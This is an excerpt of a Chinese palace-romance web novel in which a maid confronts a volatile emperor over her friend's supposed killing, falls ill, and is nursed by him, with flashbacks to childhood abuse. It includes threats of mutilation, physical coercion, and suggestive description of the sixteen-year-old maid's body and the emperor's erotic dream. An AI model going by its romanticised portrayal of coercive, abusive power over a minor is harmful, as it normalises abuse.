裴嬷嬷叫她弄得莫名,起身目送着她慌忙奔走,她抬头看了看天,才发现这外头不知道是什么时候暗了下来,这才申时两刻呢,还没到天黑的时候,眼看乌云布着,她开口喊她带伞,可妙珠急得压根就没听到。 裴嬷嬷进屋子里头拿了伞出来,追出去的时候发现人早没了影。 妙珠满脑子都是荣桃,她不知道她这段时日她还有没有和寿宁宫的人往来,只是,陈怀衡明显是知道她和太皇太后的人有联系了。 他那般睚眦必报,定是会想要对她动手的。 妙珠不敢再多想下去,她赶紧往着乾清宫跑,只怕待回去晚了,看到的就是荣桃的尸体了。 天不知道是什么时候越发阴沉,起先是一滴一滴的水珠,后来越下越大,妙珠被雨砸着,不敢停歇,只一直不停地往回奔着。 荣桃,荣桃。 小妹,小妹。 她脑子里面全是小妹。 妙珠跑到了乾清宫时,气都快喘不上了,身上已经叫雨淋得不像话了。 她这般回到乾清宫,众人见了之后还以为她是撞了鬼。 妙珠跑回了宫女们住着的配房,却不见荣桃的身影。 她抓着小萍的手问道:“荣桃呢,荣桃去哪里了?” 小萍不知她出去了一趟怎么弄成了这副样子,讷讷道:“你离开后,她被唤去服侍陛下了。” 妙珠两眼一黑,差点晕过去了,慌忙跑去了主殿。 小萍在身后喊道:“妙珠!你不会就这样去见陛下吧?!” 这叫皇上瞧见了,小心挨了罚。 妙珠哪里还能听得到她的声音,一头栽进了雨中。【你现在阅读的是魔蝎小说 moxiexs】 19、第十九章 妙珠匆匆跑到了主殿,外头的侍卫见到是她,倒也不曾拦。 她没有任何犹疑,生怕耽搁了时候,直接一头往里面冲了进去。 进了殿内,陈怀衡不如往常坐在主座之上,妙珠四处去寻,发现他正坐在窗边,正是她前些时日读书坐的那个位置。 而殿里头还坐着另外一人,是协王陈怀霖。 陈怀衡同陈怀霖面对面而坐,他们的面前放着一道棋盘,看这架势是在下棋。 陈怀衡正凝神看着棋盘,听到殿门口的声响,抬眼去看。 是妙珠。 外头忽地就落了场大雨,她不知道是从哪里来的,身上被雨浇得湿了透,宫装紧紧的黏在身上,秋日的衣裳不大厚重,那些衣物被雨浇得聊胜于无,身形被勾勒得一干二净...... 眼前的妙珠竟然和梦中的人影重叠到了一起。 她们的身形是同样的娇媚,只是那双眼睛却截然不同。 从来怯懦胆小的人此刻眼中却带着说不出的强硬。 陈怀衡很快回过神来,见她这副模样,眉头紧拧,声音寒到了极致:“你就是这样回来的?” 方才从外面跑了一路是不是,这副样子就闯了进来,难道不知道里面还有别的人? 妙珠已经听不清陈怀衡叽里咕噜在说些什么了,也听不出他语气中的危险之意,她看着这空荡荡的大殿,里头四处见不得荣桃身影,有些急了。 她不曾回他的话,只是冲着他问道:“荣桃呢?陛下也杀了她是不是?” 妙珠的眼睛湿成了一片,分不清是泪还是雨。 陈怀衡眯起了眼,看向她,沉了声道:“你是在质问朕?” 是在质问他。 就是在质问他啊。 她哪里来的胆子敢和他说这样的话呢。 妙珠竟难得没有退,仍旧在问:“陛下杀了她是吗。” 她的声音已经带着颤抖,死死咬着唇瓣,恍若下一秒就要哭出声来,陈怀衡这回是看清楚了,她眼中含着的是一捧泪,不是雨。 他寒着声道:“是,朕杀死她了。” 人还没死成呢,因着突然落了雨,现在去后苑那边给花草遮雨去了。 然而看到妙珠这幅样子,陈怀衡倒是想看看,他便是说荣桃死了,她又能怎么样。 陈怀霖见气氛异常得古怪,也不适宜继续再待下去了。 陈怀衡这性子怕听不得别人劝他,越是劝他越是反着来,他看了眼妙珠,最后抿了抿唇,还是什么都不曾说,和陈怀衡告了退。 “天色不早,那臣便先走了。” 本来是来和陈怀衡商议一些国事的,结果不料到天突然阴了下来,没办法,便又留在这里下了会棋,没想到还撞见了这一幕。 陈怀衡没有阻拦他的意思,任他离开,只是目光从始至终落在妙珠的身上。 “朕就算是杀个宫女要跟你申请?小蠢货,蹬鼻子上脸是这样蹬的?” 他就知道,知道若是杀了荣桃,她得跟着哭哭啼啼的,吵得人头疼,本来想着把人支走,等她回来的时候人也死了干净,省得到时候跪他脚边求情,哭得心烦。 他不容许背叛,既然那些宫女一开始选择了别人,那在他手上注定就别想好过。 他不会因为谁去影响自己的决定,更不会为了谁改变自己的决定。 再说,死个朋友而已,她跟了死了爹娘一样来哭来闹,是他惯得她脾气渐长? 妙珠哭得厉害,想到荣桃,心里头堵得难受。 身上被秋雨浇湿,整个人凉得厉害,就像是抱着小妹尸体的那天,她抱着她慢慢发凉的尸体抱了一整晚,寒意四面八方袭来将她浸透。 她跑了一路,双腿早就已经发软打颤,再站不住,跌跪在了地上。 “没有的陛下,奴婢没有责怪您的意思,死了......死了便死了吧。” 人总是会死的。 小妹、母亲、荣桃,她们都是人啊。 她话这样说着,可是双手捂着眼睛,泪水从掌间沁出。 可是就在这时,一旁传来了荣桃慌张的声音。 “妙珠,你怎么了啊......” 妙珠恍惚间听到这个声音,哭声噎在了口中,慌忙抬眼去看。 荣桃的身上披着蓑衣,从后苑方向过来。 妙珠揉了揉眼睛,将那糊了眼的泪水和雨水擦干,就看荣桃还好端端地站在面前。 她的手好好的,脚好好的,眼睛好好的,舌头也好好的。 她完好无损,没有死,没有任何残缺。 妙珠意识到陈怀衡方才是在骗他,错愕地看向他。 “陛下......” 陈怀衡面色阴沉至极,想也知道她今日是将他惹恼了。 陈怀衡启声:“滚出去。” 妙珠以为他是在和自己说话,也恨不得马上离开这里,她从地上才爬起来,就又听他咬牙道:“朕说她。” 荣桃也不知道是发生了什么,可这样子应当是发生了什么不大好的事,听到陈怀衡赶她,有些担忧地看向妙珠,妙珠冲她露了个笑,示意她不要担心。 荣桃见此,也不敢再待,只好转身离开。 殿里头转瞬之间就只剩下了两人,屋外下着大雨,乌云蔽日,连带着殿内也不大亮堂,在这等情形下,陈怀衡的神色堪称可怖。 妙珠身上凉得可怕,见他抬步朝着自己走来,强忍着没有扭头就跑。 现在要是敢跑,那应当是真要死了的。 “陛下......” 荣桃没死,神智终于渐渐跟着回笼,恐惧的情绪马上随之而来,她怯懦着开了口,试图为自己辩解,然而才开口说出两个字,下颌就被陈怀衡的大掌兀地掐住。 “现在是想着为自己做辩了,方才的那副胆子哪里去了?” 陈怀衡的声音俨然带上了薄怒,风潇雨晦之中,他目光阴郁落在她的身上,思及她方才是怎么从外头回来的,陈怀霖也尚在殿内目睹了一切之时,说话之间竟都咬牙切齿。 宫里头是什么地方,每个人都克己守礼,大家衣服都穿得好好的,究竟还有谁会像她这样不知羞呢?陈怀衡大概明白为什么自己会梦到她了,因没有人能再比她更不守礼了,没有人会将身体在任何情况下这样彻底地展露在别人面前。 便是他又真的杀了荣桃,她也没有一丝能指摘他的地方,可她方才,竟似在公然地指责于他? 陈怀衡身形高大,妙珠比他堪堪矮上了一个脑袋,他居高临下地站在她面前时,轻而易举地将她整个人都包在了身下的阴影之中,而她,毫不留情地暴露在了他的眼前。 妙珠眼中的惶恐,被咬得渗血的唇瓣,还有.......瑟瑟发抖的身体。 全都,全都,一.丝.不.挂地落在了他的眼中。 陈怀衡的手越发用力,妙珠的那张小脸被被他掐得变了形状,口中咿咿呀呀地连话都说不出话来了,她疑心自己的下巴要被他掐碎了,疑心这是陈怀衡给她的惩戒,情急之下伸出双手抓住他的手腕,艰难地求饶:“陛下......陛下......疼......疼啊。” 冰凉的手握住了那逞凶的凶器,口中低喃着发出了哀求的声音,窸窸窣窣,如同猫咛。 陈怀衡被她冰凉的手掌触碰,垂眸就见那几根葱白如玉的手指捏在他的手腕上,指尖用力,泛着不寻常的粉。【你现在阅读的是魔蝎小说 moxiexs】 第20章【VIP】 第20章 第二十章你好好伺候朕,朕叫你福寿绵…… “谁给你的胆子来碰朕?” 妙珠被他质问,转瞬之间不敢再动,手指渐渐松了开来。 她这回是真的惹恼了陳怀衡,她方才竟那样质问他。 一个婢女,指摘一个帝王? 为人帝者,孰能受下。 可不知道怎么地,想起榮桃要死,她的心就像是要蹦出来了。 榮桃分明不是小妹,她却还是莫名地移了情。 手腕间隔着衣物传来的,冰凉的柔软的触感转瞬即逝。 陳怀衡看到她真听话松了手,看到了她那双因为痛苦害怕而紧闭起的眼睛。 湿发黏在她的额上,整张脸帶着不同尋常的苍白。 他额间青筋反倒跳动得更厉害了一些,不知怎地,手上就卸了力。 他剛想开口,却见妙珠睁开眼睛,望向他。 她眼中的哀切,让陳怀衡莫名地噤声。 事到如今,他倒是想听听,她还能如何为自己辩解。 “陛下若是气奴婢,厌奴婢,拔了奴婢的舌头,捏碎奴婢的下巴,那都是使得的,只是,求陛下不要砍断奴婢的手脚,奴婢还想侍奉在陛下的身邊。” 左右是要挨罚的。 倒不如趁着能说话,能求情的时候,多为自己说些最后的好话。 陳怀衡眼皮微跳,可却没有被她蒙骗,知道这不过是她那可笑的花言巧语,他呵笑一声,只是面上见不得一丝笑意。 他的手指按在了妙珠眼角,帶着些惩戒的味道,用力按下。 “谁教得你这般谄词令色?” 妙珠被他按得发痛,却也不敢闪躲,只迎着痛,认真道:“陛下,是奴婢的真心话。” 真心话?哪门子的真心话。 陈怀衡没有纠结这到底是不是她的真心话,他嘴角牵起了个笑,问她:“朕给你机会去选,你想榮桃活命,那你要不要拿自己的命去换呢。” 这般情深意切,深情厚谊,他倒是想看看,让她用自己的命去换,她是肯还是不肯。 若是不肯,那看来也没那般情深,若是肯,那她还真是脑子坏了。 妙珠听到这话,脸上竟也没有惶恐,没说肯,也没说不肯,只是说了一句不相干的话:“榮桃很像奴婢的妹妹。” 怕陈怀衡不信,她还补充道:“真的特别像。” 陈怀衡冷眼看她:“所以?” 她道:“小妹在七岁那年就死了,奴婢不想叫荣桃才这么点大也出了事。” 想到这里,妙珠眼中竟帶了一分释然,像是接受了什么。 荣桃若能替着她活下去,那也好,便是死了,她也能去地府和小妹团聚了。 怎么着,都不亏啊。 只是唯一对不起的是嬷嬷。 可妙珠很快又释然了。 早在来这里的时候就觉着自己要死,还多活了两个月呢,有什么不满足的。 陈怀衡看懂了妙珠眼中的情绪。 他说让她死,她也是真的想死。 可这竟让陈怀衡心中的郁气更盛。 “死?你想得倒是好。” 说让她死的是他,现下这样说的又是他。 妙珠难得生出一股疲惫,怎么办,他到底要她怎么办啊。 “陛下给个准话吧,奴婢全都受着。” “全都受着?”他面无表情,可指尖的力气却发了狠,恨不能把她眼角的那块软肉扣了下来。 “嗯,奴婢都受着。” 掌下女人视死如归的神情,让陈怀衡失了兴致,他嫌弃地松开了手,宣判了她最后的结果。 “你是怎么样都得受着,她能不能活,就看你日后表现了。” 说罢,就命令她道:“现在,滚出去。” 似没想到陈怀衡最后竟就这样放过了她,回过神后,妙珠马不停蹄就要離开。 然而,才没走出几步,就听到陈怀衡的声音从背后传来。 “还打算这样出去丢朕的脸?” 妙珠听到陈怀衡的话,仓惶停步,这才终于有机会低头审视自己的形容。 转瞬间,面颊燒红一片。 衣物紧紧地贴在身上。 就在前几日妙珠已经过了十六岁的生辰了,她的身形发育良好,胸。脯鼓鼓囊囊的,平日裹藏在衣袍之中倒也瞧不出什么不好,现下被水浇得湿了个透,依稀能见浑。圆挺。立。 妙珠意识到自己方才就是这样站在陈怀衡的身前。 后知后觉的羞赧快淹没了她,她整个人燒红一片,手臂环在了身前遮挡。 该看的不该看的,全都看了。 现在倒还多此一举。 妙珠不敢回过身去,不知该怎么以这幅模样和陈怀衡说话。 陈怀衡隔着几步的路的距離,很轻易地就发现她的耳尖连带着脖颈,就在片刻间红成了一片。 他的视线从她的背上移开,让人送来了干净衣物。 妙珠抱着手上的衣服,头都快低到了地底,她自是不敢挑三拣四,在陈怀衡气在头上的时候多提要求,没敢说去净室、去他休息的寝殿换衣裳,看到一旁立着的点翠屏风,便自觉去了那处后面换衣裳。 陈怀衡已经坐回主座上,淡淡地往屏风那处扫了一眼。 殿内昏暗,什么都没看到。 只能依稀看到她瘦弱的身影在屏风后面动作。 再多的,就看不到了。 陈怀衡收回了视线,看向面前的公务。 外面的雨还在不停地落着,依稀有越下越大之势,雨声窸窸窣窣传入殿内,一下一下,永不停歇。陈怀衡叫这雨声吵得莫名心烦,视线落在眼前的奏章之上也看不进去。 妙珠已经换好了衣裳,出来之后就瞧见陈怀衡又坐在桌案前看起了奏章。 她问了一嘴:“陛下,要掌灯吗?” 雨这么大,天这么暗,他真的看得清册子吗? 陈怀衡扫她一眼,声线仍 旧冷淡:“出去。” 妙珠不敢多说,知道这回是真惹恼了他,没掐死她都算是不错了,不再继续待在这处,缩着脖子便往外头去了。 妙珠从主殿出去后就回去了配房,荣桃已经在里头等着她了,正坐在床邊,不安地啃着指甲,见到妙珠回来,忙迎了上去,她问道:“妙珠,方才你们这是怎么了,陛下可有为难你?” 方才殿里头的空气实在是有些古怪渗人,本来害怕妙珠会出些什么事来,见人完好出来,才终松了口气。 妙珠想起方才陈怀衡说的话,想他这段时日应当不会再荣桃下手了,可是,荣桃若是继续再和太皇太后往来,那便不一定了。 “我没事的,你莫要怕。”妙珠想了想后,又道,“荣桃,你不要再继续了,陛下仁慈,你不继续,他会宽恕你的。” 荣桃便知还是要说起这事,她抓衣袖,叹气道:“我知道的,我知道陛下这是故意在罚我们呢,上次你同我说过之后,我便想着不去了,还是命要紧。既你都说陛下仁慈,那应当是真的仁慈,怪我被蒙了眼,到时候我尋个机会去回了这事,不再办了。” 妙珠见荣桃想明白了利弊,眉头也终于松开了:“早该这样的嘛,往后不再做了,总该好起来了。” 妙珠揉了揉荣桃的脑袋,便起了身。 晚间时候,妙珠又重新去了趟主殿,发现卿雲已经在里头了,陈怀衡又将她赶了出来。 妙珠想起陈怀衡以前的话,想到自己若是走了,他到时候回过头来一定是又要斥责她躲懒。最后没敢走,便主动去了殿旁的值房等着,想着若是日后陈怀衡忽地又来翻起旧账,她便也能有所借口搪塞,总不至于又白白受了他的责备。 这场秋雨来得又急又大,夜晚的空气也倏地降了下来,明月早已销声匿迹,被乌雲遮蔽得不见踪影,妙珠躺在值房的榻上,迷迷蒙蒙入了梦,这个寒凉的雨夜,竟让她想起了小妹死后的一个深夜。 妙珠其实一直也以为自己是怨恨母亲的。 她怨恨她为什么要是一个傻子,怨恨她为什么要是一个人尽可夫的妓子 小妹死在妙珠八岁的秋季,她剛死的时候,妙珠没什么感觉,只是一个人抱着她的尸体坐到了清晨。 而后妙珠带着她去了山上,她一个人挖了一天的坑。 母亲就在旁邊看着笑,她一直笑着。 自己在被别的男人拉着睡觉的时候,她不知道,女儿死了,她也不知道。 迟钝的人从来不会感觉到狼狈。 妙珠快羡慕死了,母亲怎么就运气这么好,什么都可以不知道。 她将小妹埋好之后,太阳也落山了,巨大赤红的夕阳落在她们的身上,将她们的身上照得如同浴血一般。 回家的路上,妙珠终于落下了自小妹死后的第一滴泪。 她从前的时候经常会和小妹一起上山摘果子,摘草药,小妹跟在妙珠的身邊,牵着妙珠的手,和她说话,和她哼着不着调的歌。 可是,今日下山,小妹呢,怎么没有小妹的声音了。 小妹,小妹,你去哪里了? 小妹,快出来,别和阿姐开玩笑了! 她四处仓惶地去尋,想要尋到小妹的身影。 可是,突然就泄气了,她才想起来,小妹剛剛被她亲手埋到了土里面去了,她手上被磨出来的血泡,就是最直接的证明——小妹被她亲手埋了! 莫大的哀伤造访得突如其来,滔滔不绝,妙珠发出了一声声的呜咽,在山谷中回荡着如同鸢鸟哀啼。 小妹就像是上天赏给她的恩赐,在的唇角留下了一道甜,可此去经年,一再发酵,再去舔舐,只余酸涩。 她死后的一个秋日,天上突然袭来一阵秋雨,空气又冷又冽。 他们一家人住在一间破旧的草屋之中,屋顶早就已经开始渗水,每回下了大雨,上头就容易渗水。 她和母亲躺在一张床上,隔间住着外祖,夜深,他已经睡沉了,巨大的鼾声吵得母女二人难以入睡。 母亲难得清醒,清醒时候也难得没有打骂她。 深秋夜晚的寒冷将她周身包裹了起来,妙珠冷得要命,趴在母亲的胸口,汲取着那稀薄的温暖。 “娘娘好冷。” 妙珠一直无措地喊着母亲。 母亲将她抱得很紧,不停地说着:“小乞,娘对不起你。” 娘,我们走吧,不要和外祖一起过了。 小乞,娘对不起你。 娘,我很害怕,我不想再让你和别人睡觉了。 小乞,娘对不起你。 娘,能不打我了吗,真的好疼啊。 小乞,娘对不起你。 娘,小妹死了,我也不想活了。 小乞,娘对不起你。 小乞,娘对不起你。 没关系的,娘。 小乞,娘对不起你 没关系的,娘…… 她对她的歉意是那样真挚,一直到后来死之前,也仍旧在说着对不起。 妙珠今日淋了雨后又受了惊,来回冻脑奔波,又被陈怀衡那番恫吓,叫这三五下里夹攻,头脑昏昏涨涨,好不难受,夜晚躺在榻上,她冷得整个人都蜷缩在了一起,昏天黑地之中,她梦到了那个令人心碎的夜晚,口中不停地呢喃着“没关系,没关系的” 值房中还有另外一个宮女和她一起守夜,晨曦微露时,终于发现了妙珠的不对劲,她口中不知一直在嘀咕着些什么,上前一摸,脑袋烫得吓人。 难怪从昨个儿晚上起就见她不大对劲,原是发了热病。 她晃动着妙珠的身体,就见妙珠迷瞪地睁开了双眼,凑过去一看,那双眼睛里头溢满了泪水。 “妙珠,你怎么了啊?怎么就燒成了这样。” 妙珠瞳孔涣散,听不清耳边的人在说些什么,恍惚间好像间到母亲。 她哑着嗓子呜咽道:“娘,好疼,好冷。” 小宮女骇了一跳,她可不是她的娘。 这是燒傻掉了啊,连人都认不出了。 这宮女一看得出人命,便赶紧出去寻了卿雲。 雨还在落着,一直到清晨也没停下。 卿雲刚服侍着陈怀衡起了身,听说妙珠在值房这病倒下了,便又赶到了这处,她摸了摸她的额头,手又往她脖颈下探,身上更是烧得厉害,卿云开口唤了她两句,她也答不上话,只是一个劲的说冷说疼。 疼? 妙珠啊,你哪里疼。 怎么看着整个人都要不行了呢。 卿云也不敢再耽搁下去,思索再三,最后还是去寻了陈怀衡。 * 雨落了整整一夜,后苑之中植着一株白玉兰,玉兰树到了秋季便凋得差不多干净,只剩下光秃秃的枝干,挺立在大雨之中。 冰冷的秋雨清晨中,陈怀衡却是被灼醒的。 睡梦中,衣香鬓影,肌肤如同丝绸一般滑腻覆在他那赤。裸健硕的身躯上,大掌灼热,细细抚着柔软的丝绸,就像是在品鉴着难寻的佳品,他又像是失水的人,将那丝绸当做了能够解渴的牛乳,急不可耐地汲取,又像是饥饿的人,将那牛乳当做了能够果腹的食物,心急如焚地啃噬。他就像是一个毛头小子,不再是深沉稳重的帝王,他急切地往那能让人凉快的一汪清泉里面挤,妄图获取片刻的清凉。 热,还是好热。 不够,怎么好像都还是不够。 他的喉咙愈发干涩难忍,青筋胀得生疼。 陈怀衡从梦中醒来,兀地睁眼,那双薄情的眼中罕见地充斥着情。欲。 他坐起了身,望向了腿间,烦躁瞬间涌上了心头。 碍事的东西。 胀得难受,他让人在净室中放了冷水,一刻钟的功夫才从里面出来。 待起身穿衣后,外头不知道是出了什么事,匆匆来了个人把卿云叫走,不知过了多久,卿云又匆匆从外面跑了回来。 陈怀衡见她一副欲言又止,直接道:“有话就说。” 卿云终于开口:“陛下,妙珠发了热病,整个人烧得厉害。她昨个儿淋了雨,应当是受了凉。” 陈怀衡听到后,皱了眉。 烧得厉害? 真是丫鬟命,公主身。 他很快又想到,她烧得厉害,卿云跑过来和他说些什么?他又不是太医,难不成还要为她去诊脉 看病吗。 他的声音如秋雨寒凉:“找太医去,同朕说些什么。” 卿云也正是这个意思啊。 她自是没指望他去给妙珠看病。 只是这太医哪里是能请来给宮女看病的,自是要陈怀衡开口才行。 她本还踟蹰着如何开口,倒也没想到这么轻松,还没说什么,陈怀衡倒是自己先提起来了。 这样想着后,卿云也没敢耽搁,赶紧出去让人请了太医回来。 陈怀衡忽又出声喊住了人:“值房狭小,挤不了什么人,将她弄来里间的贵妃榻上。” 那个地方太医挤进去像什么样子。 不过,太医来了也刚好,他也阖该治治这身上的毛病。 卿云愣了片刻,反应过来后,忙应了下来。 陈怀衡也没继续再待在这处,动身前去早朝。 待到他从下朝回来之后,太医已经给人看完病了,卿云照着太医开出方子让人去煎了药。 太医为妙珠看完病后还不曾走,他候在乾清宫,见到陈怀衡从殿外回来,忙给人行了礼。 “参见陛下。” “平身吧。” 陈怀衡大步上了主位,看向大殿中央站着的太医问道:“病看好了?” 太医拱手回话:“瞧好了,应当是受了凉发的热,烧得有些厉害了,若是再晚些下去,怕是脑子都要糊涂了。” 他不知道皇上是何时变得这般心善,竟还找了太医院的人给宫女看病。 一开始来的时候还以为是皇上出了什么急症,却没想到是宫女。 当真是奇了怪了。 陈怀衡眉眼低垂,闻此也仍旧没什么特别的情绪,末了也只是“嗯”了一声。 他又想起了自己那事,开始问太医那究竟是何缘故。 太医听了陈怀衡的话后,马上解释道:“陛下莫要担心,男子大多如此,这是再正常不过的事情,若陛下太过频度,让宫女们服侍一番大抵也可以” 他这个年纪,身上又没有什么毛病的话,这不就是再正常不过的事吗。 陈怀衡听后,也明白了太医的意思,他无言片刻,而后沉声道:“那便开些降火的药。” 太医听到陈怀衡这番话不禁揣摩了起来 陈怀衡至今没有娶妻立后是众所周知的事情,可大户人家里头的公子身边都有些通房纾解欲。望,皇帝便是收几个宫女又何妨?他也不敢太去揣摩皇帝心中所想,不敢再去多想耽搁,立马应下了他的话,只最后还是提醒了他道:“陛下,这些药还是少用些好。” 有需求就抒发出来了啊,憋着做什么,压多了自然是不好。 太医離开前,陈怀衡又敲打了他一番:“今日的事” 太医明白,马上道:“天气骤凉,陛下身上有些不爽利,便唤臣过来把脉。” 不管是给宫女看病,又还是陈怀衡“问诊”一事,这都不大适合叫旁人知道,他自然是要把嘴闭牢了。 太医离开了这里,殿内便没了人声,只有稀稀疏疏的雨声从殿外传来。 待过了一会之后,卿云便端着药从外头进来。 她进了寝殿,妙珠正躺在里间的贵妃榻上。 这里是比值房那边好上百倍,内饰奢华,宽敞大气。 卿云没敢拿陈怀衡的寝被盖到她的身上,妙珠的身上只裹着一张从值房带来的薄毯,露出的那张脸红得不寻常。 她仍旧在一个劲地说着冷和疼。 卿云拍着她的脸,妙珠睁得开眼,却认不出眼前的人是谁了。 卿云用勺子喂她喝着药,可怎么都喂不进去,喂一半漏一半。 她就像是哄着孩子一样哄着妙珠:“妙珠,听话啊,不闹了,乖点喝药。” 她怕惊动了外面的陈怀衡,小声哄着她。 可这么小的声音,妙珠压根就听不见。 卿云看她喝不进去药,急得汗都要跟着出来了。 妙珠,你得听话喝药,不喝进去的话,脑子得跟着烧坏掉了。 脑子若是坏了,那到时候是真要没命了啊。 卿云着急得不行,恍惚间见到一道明黄的衣角出现在视线之中,转过去看,就见陈怀衡不知是什么时候进来了。 他阴恻恻地站在一边,唬人一跳。 卿云想说什么,就听陈怀衡道:“把人扶起来。” 卿云听他的话,也不敢耽搁,放下了药碗,将妙珠从榻上扶起了身。 陈怀衡端起了案几上的碗,直接用手捏开了妙珠的下颌,将她的脑袋微微仰起,顺着就将药灌了进去。 妙珠喝不下,刚想吐,一把被陈怀衡捏住了嘴巴,压根就没吐出来的机会,几次三番过去,或许妙珠也意识到了后者那个强势的人不是卿云,不敢和他拗脾气,一碗药竟就这样一点点灌进了肚子里头。 喂完了药后,卿云将人放回了榻上,为妙珠擦着嘴角溢出的汤药。弄完了这些,她再看向一旁的陈怀衡,见他没有出去的意思,便心照不宣地先行离开。 药还没能起效,妙珠还是觉着身上冷得厉害。 陈怀衡听她也不知道在嘀嘀咕咕些什么,俯身凑了过去细听。 “娘好冷好疼啊” 她是真的太冷了太痛了,以至于一直低喃着这些话。 陈怀衡凑近后听清了她的话。 他伸出手背触了一下她的脸,滚烫异常,往脖颈那里贴了贴,也是烫的。 果真是烧糊涂了。 许是她的哀求太过可怜,陈怀衡竟还真的发了善心。 他起身从榻上拿了床寝被过来,盖到了妙珠的身上。 他把被子给她掖得严严实实,嘴巴都给盖上,就露出个呼吸的鼻子。 “小蠢货,现在舒服了吧。” 妙珠整个人红扑扑的,好歹是没哼唧着冷了,可还是一直说着疼。 疼?到底是在疼什么呢? 陈怀衡是真觉着她烧糊涂了,又没人打她,没人掐她,没人在欺负她。 究竟是为什么要一直喊疼呢。 别是故意在说昨日的事情,他分明还什么都没罚她。 陈怀衡俯身观察她的神情,却不知怎地伸手捏上了她的脸,把那脸颊上的嫩肉揪得老长,他道:“你别叫朕发现你是在装病” “疼啊疼。娘,以后别打我了行吗。” “我不脏啊。不脏的。” 母亲总是说她身上留着的血也是脏的,她平日不痴傻的时候,就时常会发疯病,发了疯病,就扯着妙珠打。 她说,你哭,你快哭,把身上的脏东西哭出来就干净了。 妙珠没办法,哭出来了,就不用挨打了。 可是妙珠始终不明白,为什么她是脏的呢? 为什么她生下来就是这样肮脏和卑贱呢? 她那痛苦的声音就那样直愣愣地撞进了陈怀衡的耳中。 她喊着娘,陈怀衡才忽地想起,原来妙珠也和别人一样,该是有母亲的。 这话说起也有些好笑,这世上的人都是打从娘胎里头出来的,既是人,怎么又可能没有母亲?只是,妙珠这个人,让陈怀衡都快忘记了,她竟也有母亲。 如果有母亲的话,怎么会叫她这般,难道从没有人教过她,一个人该是什么样的吗。 便是最卑贱的下人,那好歹也都有点人样,可她怎么会那样呢?没有一点的人样。 陈怀衡听着她那母亲好像也不是什么好东西,平日里头大概也只晓得打她,打完了她以后,还得嫌弃她是个不干净的脏东西。 啧。 陈怀衡揉搓着妙珠的脸,硬生生把人搓醒了过来。 妙珠睁开了眼,眼前的人模模糊糊的,瞧不真切,她只是下意识喊道:“娘” 陈怀衡蹙眉:“我可不是你那便宜娘,少来给我瞎攀扯。” 少给他安那些乱七八糟的名头。 他离得她极近,在陈怀衡没有意识到的时候,不知不觉,离她极近,他那低磁的嗓 音就那样飘入了妙珠的耳中,即便是病中也叫她无法忽视。 听到那叫她生惧的声音,妙珠好像终于能清醒一些了,视线也终于清晰了起来。 陈怀衡见她面上渐渐浮现惊恐,便知人这是回了神。 他问她:“我是谁。” “是是陛下啊。” “陛下是谁?” “陛下是天,是妙珠的天。” 陈怀衡语塞。 却难得没说些什么。 他伸手将人扶起了身,妙珠被他晃得晕晕乎乎的,看周遭情形,才发现这里是陈怀衡的寝宫。 她怎么到这里来了呢? 刚想问,陈怀衡却先一步开了口,他问她:“你娘是谁?” 妙珠没想到他竟问起了这个,面色瞬间变得难看,她支支吾吾着,不知道该怎么开口,想要躲避这个可怕的问题,可肩膀却又被陈怀衡死死按着,跑也跑不掉。 陈怀衡又问她:“跟朕说,她是谁,朕帮你杀了她。” 他就这样,若是谁叫他不顺心,杀了就是。 只是妙珠哪里知道陈怀衡这是又突然发了什么毛病,她一醒来,他就忽地说要去杀她的娘。 哪里有人一开口就说杀人爹娘去的啊。 她只是垂了眸道:“她已经死了。” 陈怀衡想起就在昨日,她说自己的妹妹也死了,他随口一问:“你家还有活着的人?” “没了,陛下。” “该死的,不该死的,全死完了。” 她说起这事来瞧着不怎么伤心,神色淡淡的,除了眼眸之中泄露出了那一点藏不住的情绪。 陈怀衡知道,能进宫做奴婢的人,家里头的情形应当都是不大好的,可是像妙珠这样的,倒是少见。 那也难怪,难怪她的眼睛,竟能那样多情。 人的现在,不是由将来造就,而是由无数个过去组成。 妙珠的那双清眸就像是一件从前朝沿袭下来的青铜器,带着令人窒息着迷的深邃,却又恢诡谲怪。 陈怀衡低头看着眼前的人,他忽道:“你好好伺候朕,朕叫你福寿绵长。” 妙珠倒没想到陈怀衡会说这样的话,今日的他和昨日的他又像是两个人。 他喜怒无常,阴晴不定,高兴的时候就也好脾气的说些让别人也高兴的话,不高兴的时候动辄要了人命,让人滚得远远的。 妙珠才不会将他的话当真,她只是仰头冲着他笑:“陛下长命百岁千秋万代。” 她那双水汪汪的眼睛里面好像都是他。 她说,她不用福寿绵长,陛下长命百岁就好啦。 * 妙珠生了病,那日的烧是退下去了,可最后还是染上了风寒。 这几日害了病不好侍奉在陈怀衡身侧,妙珠便得了好几日的空闲。不用往陈怀衡的跟前凑,每日便过得甚是惬意,偶尔认几个字,读几句论语,再就是去后苑整理整理花草。 自从那场秋雨落下之后,紫禁城的空气一下子就凉了下来,空气之中的寒气愈发冻人,雨连着下了好些日子,这会终于放了晴。 妙珠听卿云说,再过些时日,到了十月份便会有一场秋猎。 她没将这事放在心上,想着自己的风寒也不知道什么时候能好,若是一直不好,当是不用跟着陈怀衡一块去秋猎的。 这日,天才透出一点的亮,妙珠起了身后就先去杂扫乾清宫大殿外的空地石阶。 便是染了风寒她也不曾偷懒,一直做着活计,却不想这个时辰,陈怀霖竟然进宫来了。 以往也时常会有些大臣来寻陈怀衡商议政事,只是现在连早朝的时候都不曾到,这样早来乾清宫的人,妙珠还是第一回见。 妙珠扫着自己的地,一直到那脚步声愈近,抬头去看,才发现是陈怀霖来了。 两人的眼中都带着错愕,妙珠没想到陈怀霖会在这个时候进宫,陈怀霖也没想到会在这里看到妙珠。 之前的时候,妙珠在中秋宴上犯了错,陈怀霖还不知道陈怀衡是怎么罚了她,那天陈怀衡说得多吓人啊,什么抠心挖血、剜眼割舌,那是张口就来,本不知他会怎么罚她,陈怀霖那天回了府邸之后竟难得多想。只不过下一次再见妙珠时,她人是好好的,手脚齐全,只不过是淋了雨,瞧着不知道是受了什么刺激,眼睛里头倒是比平日多了几分难得的韧,还梗着脖子想要和陈怀衡作对。 他难得在宫人身上见过那样的神色。 他多少也看出来了些陈怀衡对她的不同寻常,本以为,妙珠该是跟在他身边贴身伺候的人,可没想到现在在外头做些杂扫的活。 秋风凛冽,身上的秋衣被风吹得贴在她的身上,衬得她的身形越发单薄。 陈怀霖问她道:“你怎么在这外头,是上回的事情惹恼了陛下?” 说起上回的事情,两人都想起了那个下了大雨的日子。 他们拢共不曾见过几面,而且真要算上说过几句话,那也只有第一次在御花园相撞的时候。 那时候,妙珠不知道陈怀霖是协王,陈怀霖也不知道妙珠是陈怀衡身边的宫女。 